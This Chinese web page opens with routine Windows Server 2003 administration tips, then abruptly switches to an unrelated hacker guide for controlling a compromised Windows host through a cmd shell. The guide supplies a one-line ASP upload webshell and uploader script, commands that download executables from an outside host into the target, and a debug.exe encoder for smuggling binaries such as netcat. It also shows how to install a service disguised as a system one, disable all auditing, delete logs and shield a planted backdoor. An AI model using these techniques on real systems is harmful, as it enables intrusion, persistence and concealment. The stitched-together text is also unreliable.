高效管理服务器一直离不开有效的服务器管理技巧,尽管你已经掌握了不少这方面的技巧,但服务器还有许许多多的技巧在等着你的总结,等着你的挖掘;下面的一些服务器管理窍门就是笔者在最近的工作中总结出来的,相信有不少是你很少遇到过的!
拒绝服务器重新启动
一般情况下,在Windows 2003 Server系统中安装完补丁程序后,系统总会提示你要重新启动一下服务器。可是许多急性子的朋友,他们往往无法容忍Windows 2003 Server服务器“慢吞吞”的启动操作,于是希望打完安全补丁之后服务器不再重新启动的想法就应运而生了。那么是不是有一种合适的方法,的确能让Windows 2003 Server服务器在安装完补丁之后不会重新启动呢?其实,Windows 2003 Server服务器是否会重新启动,跟当前的系统补丁特性有一定的关系;对于那些强制需要系统启动的安全补丁,我们一般是无法让服务器拒绝重新启动的;但对于那些没有强制要求系统启动特性的补丁来说,我们就能采取如下的方法来阻止服务器系统重新启动:
首先在Windows 2003 Server服务器系统桌面中,依次单击“开始”/“运行”命令,在随后打开的系统运行对话框中,输入字符串命令“cmd”,单击“确定”按钮之后,将系统工作模式切换到MS-DOS状态下;
其次在DOS命令行中,通过“cd”命令将当前目录切换到补丁程序所在的目录,然后执行“aaa /?”字符串命令(其中aaa就是当前需要安装的系统补丁名称),在其后出现的提示界面中,检查一下当前补丁是否带有“-z”参数,要是带有该参数的话,就表明当前补丁在安装完毕后可以不强制要求系统进行重新启动;
接着在DOS命令行中,再输入字符串命令“aaa -z”,单击回车键后,该补丁程序就会自动安装到系统中,并且不会要求服务器系统进行重新启动了。
取消对服务器的限制访问
为了提高员工的工作效率,单位最近打算把Windows 2003终端服务器的访问权限向每一个员工进行开放,但考虑到安全性,网络管理人员仅为所有员工提供了相同的一个帐号来登录Windows 2003终端服务器。可是员工们在用该帐号登录终端服务器时,发现同一时间内服务器只能允许一个人登录进服务器,而且后来的员工一登录进服务器后,前一个员工就会“被迫”退出终端服务器的登录。出现这种现象到底是怎么回事呢,那有没有办法让所有员工在同一时间内,使用同一帐号都能顺利登录进行服务器呢?
其实上述这种现象,主要是由于Windows 2003终端服务器在默认状态下,启用了“限制每一个用户只能使用一个会话”功能造成的;要想消除这种现象,你只要按照如下步骤,来取消“限制每一个用户只能使用一个会话”功能就可以了:
首先单击Windows 2003终端服务器系统桌面中的“开始”菜单,并依次执行其中的“设置”/“控制面板”命令,然后双击其中的“管理工具”图标,进入到终端服务配置窗口;
接着在该配置窗口中,用鼠标双击一下“服务器设置”处的“限制每一个用户只能使用一个会话”选项,在其后出现的选项设置对话框中,将“限制每一个用户只能使用一个会话”的复选框取消选中,最后单击“确定”按钮,并重新启动一下服务器系统,这样员工们日后使用相同的帐号,就能同时登录进Windows 2003终端服务器系统中了。 远程查看服务器日志文件
如果你是一位细心的人,完全可以利用服务器的日志文件,来实现保护服务器安全的目的,毕竟任何对服务器的非法攻击都会在服务器日志文件中留下蛛丝马迹,只要你足够细心,就能知道服务器当前是否受到了攻击,一旦发现有攻击痕迹的话,只要及时采取相应的应对措施就能保证服务器的安全了。不过话又说回来,服务器的日志文件通常只能在服务器本地查看到,可是万一网络管理人员出远门,该如何保证服务器日志文件能被网络管理人员随时远程查看到呢?
要做到这一点,你只要利用Windows 2003服务器的远程维护功能,并通过IE浏览界面,就能对服务器的日志文件进行远程查看了,当然在默认状态下,Windows 2003服务器的远程维护功能并没有开通,需要我们手工启动才可以。下面,就是远程查看服务器日志文件的具体步骤:
首先检查一下Windows 2003服务器是否已经安装了II6.0组件及其相关组件,要是还没有安装的话,必须先要这些组件安装到服务器中去;
其次在服务器系统桌面的“开始”菜单中,依次单击“设置”、“控制面板”命令,在其后出现的窗口中,用鼠标双击一下“添加或删除程序”图标,接着单击其后界面中的“添加/删除Windows组件”按钮,并在弹出的组件安装向导窗口中,把“应用程序服务器”复选项选中,再单击一下对应窗口中的“详细信息”按钮;
随后你将看到一个设置界面,选中“Internet信息服务(IIS)”复选项,然后继续单击对应窗口中的“详细信息”按钮;
在接着出现的向导设置窗口中,选中“万维网服务”项目,并继续单击一下对应窗口中的“详细信息”按钮,在弹出的图2所示的向导界面中,再把“远程管理(html)”项目选中;完成上面的设置后,单击“确定”按钮,并把Windows 2003服务器系统的安装光盘放入到光驱中,然后系统会自动完成剩余的安装设置任务;
以后,网络管理人员无论走到哪里,只要能找到一台可以上网的计算机,并通过IE浏览器界面输入“http://aaa.aaa.aaa.aaa:8098”地址(其中aaa.aaa.aaa.aaa表示Windows 2003服务器的有效IP地址),在稍后打开的服务器帐号验证界面中,正确输入系统管理员帐号,就能远程登录到服务器的管理维护页面中了,在该页面中网络管理人员就能很方便地查看到服务器中的日志文件了。
前言
Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。
本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。
文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:
1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马"体积"较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:
@echo ^<%with server.createobject("adodb.stream"):.type=1:.open:.write request.binaryread(request.totalbytes):.savetofile server.mappath(request.querystring("s")),2:end with%^> >up.asp
注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:
with wscript
if .arguments.count<3 then .quit
url=.arguments(0)&"?s="&.arguments(2)
fn=.arguments(1)
end with
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fn:s=.read:.close
end with
with createobject("microsoft.xmlhttp")
.open "post",url,false:.send s
wscript.echo .statustext
end with
将其保存为up.vbs。假设目标IP为123.45.67.89,up.asp在IIS虚拟根目录下,需要上传的文件为nc.exe,上传后保存为mm.exe,相应的命令是:
cscript up.vbs http://123.45.67.89/up.asp nc.exe mm.exe
注意,这个命令是在本地命令行中执行的,不要弄错了。另外,通过IIS上传会留日志,要记得清除哦。
2,自动下载到网页缓存中。
例如:start its:http://www.sometips.com/soft/ps.exe
在远程shell中执行上面这个命令后,ps.exe已经下载到目标主机的网页缓存目录中了。然后:
cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5"
dir /s ps[1].exe
于是获得ps.exe的具体位置(每台主机都不一样),如:
C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5\AB094JIT 的目录
2004-01-24 14:24 49,152 ps[1].exe
1 个文件 49,152 字节
最后:
copy AB094JIT\ps[1].exe c:\path\ps.exe
del AB094JIT\ps[1].exe
补充说明:
对于以服务为启动方式的后门所提供的shell,其用户身份一般是System。此时网页缓存目录的位置就如例子中所示。如果shell的身份不是System,需要修改Default User为相应的用户名。
本方法会启动一个IE进程,记得要将它杀掉。如果是System身份的shell,不会在本地出现窗口而暴露。
另外,用ms-its代替its效果完全一样。
3,Echo一个脚本下载web资源。
现成的工具是iGet.vbs。我再给出一个含必要容错功能的版本。
仍然是echo版:
@echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs
@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs
@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs
@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs
举例–下载ps.exe并保存到c:\path下:
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意,这是在远程shell中执行的。
4,Echo经过编码的任何文件,再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出"杀手锏"了!
echo命令加重定向操作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新"编码"为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位操作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。)
无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果–编码脚本:
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl\65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
将其保存为echo.vbs。假设要上传nc.exe,那么在本地命令行输入命令:
cscript echo.vbs nc.exe
也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿,在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它,可以看到如下内容:
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs
@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000B0000000004000001000000002000004000000000000000400000000000000003001000004000000000000030000000000100000100000000010000010000000000000100000000000000000000000"_>>debug.vbs
@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A0210100640100000000000000000000000000000000000000000000000000002E74657874000000"_>>debug.vbs
@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B0000000060000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A20000000000000000000000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………(省略若干行)
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全选 -》 复制 -》 切换到远程命令行窗口 -》 粘贴。
如果网速不是很慢的话,整个上传过程大约需要20秒。
几点说明:
1,大的文件传输不稳定,可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2,在传输大文件前,可以先传个小的文件作为"热身",让16位虚拟机ntvdm.exe驻留后台。所有文件传完后,为隐蔽起见,应该把ntvdm进程杀掉。
3,某些cmd shell每个命令都需要附加两个回车,那nc.exe.bat就不能直接用了。
4,单个命令的长度是有限的,所以不能只用一个echo完成全部任务。而且,对于nc提供的cmd shell,稍长一些的命令竟然会使shell自动退出(溢出了?)。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5,解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输的数据量(因为压缩了数据)。如果有时间,我会写一个更完善的脚本,加强数据压缩能力,增加数据校验功能。
能上传文件当然一切都好办了,但很多操作用Windows自带的工具更方便。在你到处寻找需要的工具时,不要忘了Windows本身。
系统配置
这节包括三方面内容:注册表、服务和组策略。
先说注册表。很多命令行下访问注册表的工具都是交互式的,溢出产生的shell一般不能再次重定向输入/输出流,所以无法使用。
好在系统自带的regedit.exe足够用了。
1,读取注册表
先将想查询的注册表项导出,再用type查看,比如:
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以终端服务的端口是3389(十六进制d3d)
2,修改/删除注册表项
先echo一个reg文件,然后导入,比如:
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
将telnet服务端口改为2323(十六进制913),NTLM认证方式为1。
要删除一个项,在名字前面加减号,比如:
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要删除一个值,在等号后面用减号,比如:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-
3,用inf文件访问注册表
上面对注册表的三个操作,也可以用下面这个inf文件来实现:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,TelnetPort,0×00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer\1.0,NTLM,0×00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
将它写入c:\path\reg.inf然后用下面这个命令"安装":
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
几点说明:
1,[Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0×00010001表示REG_DWORD数据类型,0×00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0×00020000表示REG_EXPAND_SZ。
2323也可以用0×913代替。
关于inf文件的详细信息,可以参考DDK帮助文档。
2,InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。
128表示给定路径,该参数其他取值及含义参见MSDN。
特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
3,inf文件中的项目都是大小写不敏感的。
接下来说服务。如果想启动或停止服务,用net命令就可以。但想增加或删除服务,需要用SC,instsrv.exe,xnet.exe等工具。而这些工具系统没有自带(XP和2003自带SC)。导入注册表虽然可以,但效果不好,原因后面会提到。还是得靠inf文件出马。
增加一个服务:
[Version]
Si
gnature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0×10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf,然后:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明:
1,最后四项分别是
服务类型:0×10为独立进程服务,0×20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单,不是吗?
当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe,但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时,这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题–不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题,ServiceBinary(即ImagePath)自动成为REG_EXPAND_SZ。
2,最关键的是,和用SC等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个Security子键,使它看起来更像系统自带的服务。
另外,AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。
最后说说组策略。组策略是建立Windows安全环境的重要手段,尤其是在Windows域环境下。一个出色的系统管理员,应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc,命令行下用secedit.exe。
先看secedit命令语法:
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。
与访问注册表只需reg文件不同的是,访问组策略除了要有个模板文件(还是inf),还需要一个安全数据库文件(sdb)。要修改组策略,必须先将模板导入安全数据库,再通过应用安全数据库来刷新组策略。来看个例子:
假设我要将密码长度最小值设置为6,并启用"密码必须符合复杂性要求",那么先写这么一个模板:
[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength = 6
PasswordComplexity = 1
保存为gp.inf,然后导入:
secedit /configure /db gp.sdb /cfg gp.inf /quiet
这个命令执行完成后,将在当前目录产生一个gp.sdb,它是"中间产品",你可以删除它。
/quiet参数表示"安静模式",不产生日志。但根据我的试验,在2000sp4下该参数似乎不起作用,XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如:
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
另外,在导入模板前,还可以先分析语法是否正确:
secedit /validate gp.inf
那么,如何知道具体的语法呢?当然到MSDN里找啦。也有偷懒的办法,因为系统自带了一些安全模板,在%windir%\security\templates目录下。打开这些模板,基本上包含了常用的安全设置语法,一看就懂。
再举个例子–关闭所有的"审核策略"。(它所审核的事件将记录在事件查看器的"安全性"里)。
echo版:
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
也许有人会说:组策略不是保存在注册表中吗,为什么不直接修改注册表?因为不是所有的组策略都保存在注册表中。比如"审核策略"就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有"管理模板"这一部分是完全基于注册表的。而且,知道了具体位置,用哪个方法都不复杂。
比如,XP和2003的"本地策略"-》"安全选项"增加了一个"本地帐户的共享和安全模式"策略。XP下默认的设置是"仅来宾"。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为"经典":
echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
而相应的用inf,应该是:
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb,将它导出至inf文件:
secedit /export /cfg gp.inf /log 1.log
没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。
不过,这样得到的只是组策略的一部分(即"Windows设置")。而且,某个策略如果未配置,是不会被导出的。比如"重命名系统管理员帐户",只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效–可以导出但内容基本是空的。原因不明。根据官方的资料,XP和2003显示组策略用RSoP(组策略结果集)。相应的命令行工具是gpresult。但是,它获得的是在系统启动时被附加(来自域)的组策略,单机测试结果还是"空"。所以,如果想知道某些组策略是否被设置,只有先写一个inf,再用secedit /analyze,然后查看日志了。
网络配置
Windows自带的关于网络的命令行工具很多,比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat,还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类:网络检测(如ping)、网络连接(如telnet)和网络配置(如netsh)。前面两种相对简单,本文只介绍两个网络配置工具。
netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过,很多shell不能再次重定向输出输出,所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是,一般交互式的工具都允许使用脚本(或者叫应答文件)。比如ftp -s:filename。netsh也是这样:netsh -f filename。
netsh命令的功能非常多,可以配置IAS、DHCP、RAS、WINS、NAT服务器,TCP/IP协议,IPX协议,路由等。我们不是管理员,一般没必要了解这么多,只需用netsh来了解目标主机的网络配置信息。
1,TCP/IP配置
echo interface ip >s
echo show config >>s
netsh -f s
del s
由此你可以了解该主机有多个网卡和IP,是否是动态分配IP(DHCP),内网IP是多少(如果有的话)。
这个命令和ipconfig /all差不多。
注意,以下命令需要目标主机启动remoteaccess服务。如果它被禁用,请先通过导入注册表解禁,然后
net start remoteaccess
2,ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
这个比arp -a命令多一点信息。
3,TCP/UDP连接
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
这组命令和netstat -an一样。
4,网卡信息
如果netsh命令都有其他命令可代替,那它还有什么存在的必要呢?下面这个就找不到代替的了。
echo interface ip >s
echo show interface >>s
netsh -f s
del s
netsh的其他功能,比如修改IP,一般没有必要使用(万一改了IP后连不上,就"叫天不应叫地不灵"了),所以全部略过。
IPSec
首先需要指出的是,IPSec和TCP/IP筛选是不同的东西,大家不要混淆了。TCP/IP筛选的功能十分有限,远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。
XP系统用ipseccmd,2000下用ipsecpol。遗憾的是,它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中,ipsecpol在2000 Resource Kit里。而且,要使用ipsecpol还必须带上另外两个文件:ipsecutil.dll和text2pol.dll。三个文件一共119KB。
IPSec可以通过组策略来控制,但我找遍MSDN,也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以,组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local),理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放,读取和修改都很困难。相比之下,上传命令行工具更方便。
关于ipsecpol和ipseccmd的资料,网上可以找到很多,因此本文就不细说了,只是列举一些实用的例子。
在设置IPSec策略方面,ipseccmd命令的语法和ipsecpol几乎完全一样,所以只以ipsecpol为例:
1,防御rpc-dcom攻击
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下:
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源);0表示本机地址(目标);+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选操作是"阻塞"。注意,BLOCK必须是大写。
-w reg 将配置写入注册表,重启后仍有效。
-x 立刻激活该策略。
2,防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名为myfirewall的策略已存在,则antiping规则将添加至其中。
注意,该规则同时也阻止了该主机ping别人。
3,对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出,应该限制对其服务端口6129的访问。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP,应该根据IP分配的范围设置规则。比如:
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。
在写规则的时候,应该特别小心,不要把自己也阻塞了。如果你不确定某个规则
的效果是否和预想的一样,可以先用计划任务"留下后路"。例如:
c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业,其作业 ID = 1
然后,你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
如果测试结果不理想,就删除该策略。
c:\>ipsecpol -p myfw -o -w reg
注意,删除策略前必须先确保它已停止。不停止它的话,即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间,默认是180分钟。
如果测试通过,那么就启用它。
c:\>ipsecpol -p myfw -x -w reg
最后说一下查看IPSec策略的办法。
对于XP很简单,一条命令搞定–ipseccmd show filters
而ipsecpol没有查询的功能。需要再用一个命令行工具netdiag。它位于2000系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中。(已经上传了三个文件,也就不在乎多一个了。^_^)
netdiag需要RemoteRegistry服务的支持。所以先启动该服务:
net start remoteregistry
不启动RemoteRegistry就会得到一个错误:
[FATAL] Failed to get system information of this machine.
netdiag这个工具功能十分强大,与网络有关的信息都可以获取!不过,输出的信息有时过于详细,超过命令行控制台cmd.exe的输出缓存,而不是每个远程cmd shell都可以用more命令来分页的。
查看ipsec策略的命令是:
netdiag /debug /test:ipsec
然后是一长串输出信息。IPSec策略位于最后。
软件安装
一个软件/工具的安装过程,一般来说只是做两件事:拷贝文件到特定目录和修改注册表。只要搞清楚具体的内容,那么就可以自己在命令行下实现了。(不考虑安装后需要注册激活等情况)
WinPcap是个很常用的工具,但必须在窗口界面下安装。在网上也可以找到不用GUI的版本(但还是有版权页),其实我们完全可以自己做一个。
以WinPcap 3.0a 为例。通过比较安装前后的文件系统和注册表快照,很容易了解整个安装过程。
除去反安装的部分,关键的文件有三个:wpcap.dll,packet.dll和npf.sys。前面两个文件位于system32目录下,第三个在system32\drivers下。而注册表的变化是增加了一个系统服务NPF。注意,是系统服务(即驱动)不是Win32服务。
作为系统服务,不但要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services下增加主键,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root下也增加主键。而后者默认只有SYSTEM身份才可以修改。幸运的是,并不需要手动添加它,winpcap被调用时会自动搞定。甚至完全不用手动修改注册表,所有的事winpcap都会自己完成,只需要将三个文件复制到合适的位置就行了。
作为范例,还是演示一下如何修改注册表:利用前面说过的inf文件来实现。
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=NPF,,winpcap_svr
[winpcap_svr]
DisplayName=Netgroup Packet Filter
ServiceType=0×1
StartType=3
ErrorControl=1
ServiceBinary=%12%\npf.sys
将上面这些内容保存为_wpcap_.inf文件。
再写一个批处理_wpcap_.bat:
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %CD%\_wpcap_.inf
del _wpcap_.inf
if /i %CD%==%SYSTEMROOT%\system32 goto COPYDRV
copy packet.dll %SYSTEMROOT%\system32\
copy wpcap.dll %SYSTEMROOT%\system32\
del packet.dll
del wpcap.dll
:COPYDRV
if /i %CD%==%SYSTEMROOT%\system32\drivers goto END
copy npf.sys %SYSTEMROOT%\system32\drivers\
del npf.sys
:END
del %0
然后用winrar将所有文件(5个)打包为自解压的exe,并将『高级自解压选项』->『解压后运行』设置为_wpcap_.bat,命令行的winpcap安装包就制作完成了。
注意,批处理最后一行没有回车符。否则会因为正在运行而无法删除自己。
所有的软件安装,基本上可以套用这个思路。但也有例外的,那就是系统补丁的安装。
由于系统补丁有可能要替换正在被执行或访问的文件,所以用copy命令是不行的。
幸好,Windows补丁包支持命令行安装。
比如:
KB824146.exe -n -z -q
-n 不保留备份
-z 不重起
-q 安静模式
如果有一堆补丁要打,那么用RAR打包成自解压文件,外加一个批处理。
for %%f in (KB??????.exe) do %%f -n -z -q
